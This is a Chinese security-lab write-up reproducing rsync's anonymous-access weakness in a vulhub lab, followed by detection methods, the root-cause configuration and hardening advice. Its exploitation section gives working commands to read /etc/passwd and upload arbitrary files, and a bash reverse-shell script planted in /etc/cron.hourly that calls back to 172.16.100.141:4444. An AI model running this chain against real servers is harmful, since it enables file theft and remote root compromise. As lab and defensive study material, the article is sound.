rsync未授权访问漏洞利用漏洞复现分析-Parad0x-漏洞文库小世界-安全文库-NGC660 安全实验室

rsync未授权访问漏洞利用漏洞复现分析-Parad0x

一、Rsync简介

Rsync是Linux下一款数据备份工具,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。同时支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync服务,并且没有配置ACL或访问密码,而rsync默认是root权限,我们将可以读写目标服务器文件。

二、利用条件

rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。

三、搭建环境

使用vulhub项目  密码:0kga )来搭建复现环境,编译及运行rsync服务器:

docker-compose build
docker-compose up -d

1592581788312-e994fad8-4b11-4832-bd67-b49eb26971b2

(4) nmap扫描一下端口,看到873端口已开启,说明环境搭建完成。
1592581788271-4efdebf0-effe-4c07-9ce4-b93455c040ea

四、漏洞复现

常用操作:
列出模块下的文件:
rsync rsync://127.0.0.1/src
1592581788315-d17409bb-d32a-4fea-84c2-7317cf147adb

任意文件上传:
rsync 1.txt rsync://192.168.122.1/src/home/
1592581788296-61e63feb-56f9-4463-8105-28a50ab4dce1

任意文件下载
rsync rsync://192.168.122.1/src/etc/passwd ./
1592581788308-5effe75d-283a-4339-bfd6-a3940e123cd9

通过写cron任务反弹shell

1、下载任务计划文件

rsync -av rsync://127.0.0.1/src/etc/crontab crontab.txt
1592581788326-aea9c862-0eb0-47ac-9324-5a9e9f0855aa

2、查看任务计划文件

1592581788297-12b7b416-fb6a-4665-9119-4bdf501b8286

任务计划表示在每小时的第17分钟执行run-parts –report /etc/cron.hourly命令
17 * * * * root cd / && run-parts --report /etc/cron.hourly

3、构造shell
#!/bin/bash 
/bin/bash -i >& /dev/tcp/172.16.100.141/4444 0>&1

1592581788342-1d6d2968-8a3e-40a5-880b-6ea338dae51e

赋予执行权限

chmod +x shell
4、把shell上传至/etc/cron.hourly

rsync -av shell rsync://127.0.0.1/src/etc/cron.hourly
1592581788355-456d563d-c6d6-484b-b9b0-893daf3f1c83

5、本地监听4444端口,等待计划任务执行后反弹shell成功

nc -nvv -lp 4444
1592581788343-3f94319d-ac8f-4c4f-b2a9-b22ffd20adbc

此外如果目标有Web服务的话,可以直接写WebShell,或者可以通过写ssh公钥实现获取权限。

五、漏洞探测

关于rsync漏洞扫描方式可以通过以下两种方式实现:
1、rsync扫描-Metasploit:
Metasploit中关于允许匿名访问的rsync扫描模块:
auxiliary/scanner/rsync/modules_list
1592581788338-53bd92d5-de7d-4b29-9ef2-178d3dfde3b9

2、rsync扫描-nmap:
nmap -p 873 --script rsync-list-modules 127.0.0.1
1592581788338-0a50f89d-2ec4-41bc-ba72-e29da434bb72

六、漏洞成因

rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。
首先查看一下rsync的配置文件
1592581788353-4d40892d-fd66-4958-84f8-e0ac8ca37d60

根据以下配置文件发现,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问rsync。

uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/rsyncd.log
[src]
path = /
comment = src path
read only = no

七、修复建议

更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:
访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置auth users ,将模块设置成只读。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。

八、参考链接

https://www.jianshu.com/p/e73f7de1a0f6 https://hok1.github.io/2018/02/03/ https://github.com/vulhub/vulhub/tree/master/rsync/common https://blog.csdn.net/qq_36374896/article/details/84143428

请登录后发表评论

    请登录后查看回复内容